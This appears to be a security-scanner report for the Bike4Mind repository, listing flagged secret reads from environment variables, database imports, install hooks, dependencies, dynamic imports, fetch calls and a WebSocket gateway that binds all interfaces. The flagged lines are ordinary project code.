secrets (weak) Bike4Mind-bike4mind-c7b5854/packages/scripts/testAgentExecuteWs.ts :66 password: flags.password ?? process.env.PASSWORD ?? 'Testing12345!',
secrets (weak) Bike4Mind-bike4mind-c7b5854/packages/scripts/testKnowledgeToolRefusal.ts :131 const secret = process.env.E2E_CLEANUP_SECRET;
secrets (weak) Bike4Mind-bike4mind-c7b5854/packages/scripts/verifyAgentArtifacts.ts :43 const SECRET = process.env.E2E_CLEANUP_SECRET ?? '';
secrets (weak) Bike4Mind-bike4mind-c7b5854/scripts/packages-audit-summarize-and-ingest.mjs :8 const ingestToken = process.env.LUMINA5_INGEST_TOKEN;
secrets (weak) Bike4Mind-bike4mind-c7b5854/scripts/prowler-summarize-and-ingest.mjs :23 const SECOPS_PROWLER_INGEST_TOKEN = process.env.SECOPS_PROWLER_INGEST_TOKEN;
secrets (weak) Bike4Mind-bike4mind-c7b5854/scripts/secrets-scan-summarize-and-ingest.mjs :99 const ingestToken = process.env.LUMINA5_INGEST_TOKEN;
secrets (weak) Bike4Mind-bike4mind-c7b5854/scripts/semgrep-summarize-and-ingest.mjs :8 const ingestToken = process.env.LUMINA5_INGEST_TOKEN;
secrets (weak) Bike4Mind-bike4mind-c7b5854/scripts/verify-agentless-dispatch.mjs :41 const E2E_CLEANUP_SECRET = process.env.E2E_CLEANUP_SECRET;
secrets (weak) Bike4Mind-bike4mind-c7b5854/scripts/zap-summarize-and-ingest.mjs :8 const ingestToken = process.env.LUMINA5_INGEST_TOKEN;
secrets Bike4Mind-bike4mind-c7b5854/selfhost/ws-gateway/gateway.mjs :27 const INTERNAL_WS_SECRET = process.env.INTERNAL_WS_SECRET || '';

database 4

db Bike4Mind-bike4mind-c7b5854/apps/client/server/jobs/dataSyncerHandler.ts :21 import { MongoClient } from 'mongodb';
db Bike4Mind-bike4mind-c7b5854/apps/client/server/utils/dropPreviewDatabase.ts :1 import { MongoClient } from 'mongodb';
db Bike4Mind-bike4mind-c7b5854/packages/cli/src/storage/ImageStore.ts :5 import Database from 'better-sqlite3';
db (weak) Bike4Mind-bike4mind-c7b5854/scripts/migrate-sre-v2.mjs :23 import { MongoClient } from 'mongodb';

tool registrations 2

get_posts Bike4Mind-bike4mind-c7b5854/b4m-core/mcp/src/linkedin/index.ts :26
get_company Bike4Mind-bike4mind-c7b5854/b4m-core/mcp/src/linkedin/index.ts :34

install hooks 3

postinstall Bike4Mind-bike4mind-c7b5854/apps/client/package.json :6 node scripts/copy-tavern-assets.mjs && node scripts/copy-pdf-worker.mjs && node scripts/copy-highs-wasm.mjs && node scripts/generate-premium-glue.mjs
prepare Bike4Mind-bike4mind-c7b5854/package.json :40 husky || true
postinstall (suspicious) Bike4Mind-bike4mind-c7b5854/packages/cli/package.json :48 node -e "try { require('better-sqlite3') } catch(e) { if(e.message.includes('bindings')) { console.log('\n⚠️ Rebuilding better-sqlite3 native bindings...'); require('child_process').execSync('pnpm re

declared dependencies 31

sst@4.17.1
@aws-sdk/client-lambda@^3.1080.0
@aws-sdk/client-ssm@^3.1080.0
@bike4mind/infra@workspace:*
@changesets/changelog-github@^0.7.0
@changesets/cli@^2.30.0
@commitlint/cli@^21.2.1
@commitlint/config-conventional@^21.2.0
@eslint/eslintrc@^3.3.6
@eslint/js@^9.39.2
@next/eslint-plugin-next@^16.2.10
@tsconfig/node24@^24.0.0
@types/aws-lambda@8.10.162
@types/node@^24.0.0
@typescript-eslint/eslint-plugin@^8.63.0
@typescript-eslint/parser@^8.63.0
@typescript/native-preview@7.0.0-dev.20260707.2
eslint@^9.39.2
eslint-plugin-react@^7.37.5
eslint-plugin-react-hooks@^7.1.1
husky@^9.1.7
lint-staged@^17.0.8
markdownlint@^0.41.1
markdownlint-cli@^0.49.1
mongodb@^6.20.0
prettier@^3.9.5
ts-morph@^28.0.0
turbo@^2.10.4
typescript@^5.9.3
typescript-eslint@^8.63.0
vitest@^4.1.10

obfuscation 1

dynamic require()/import() Bike4Mind-bike4mind-c7b5854/apps/client/scripts/generate-premium-glue.mjs :244 () => import('${spec}').then(m => ({ default: m.default })),

perm:untrusted 2

untrusted Bike4Mind-bike4mind-c7b5854/apps/client/app/hooks/useBlogImageGeneration.ts :99 blob = await fetch(imageUrl).then(r => r.blob());
untrusted Bike4Mind-bike4mind-c7b5854/apps/client/public/static/lib/d3@7.x.js :2 return t.text()}function mc(t,n){return fetch(t,n).then(bc)}function xc(t){return funct

transport_posture 1

network-listening, binds all interfaces, no auth detected Bike4Mind-bike4mind-c7b5854/selfhost/ws-gateway/gateway.mjs :177 server.listen(PORT, '0.0.0.0', () => {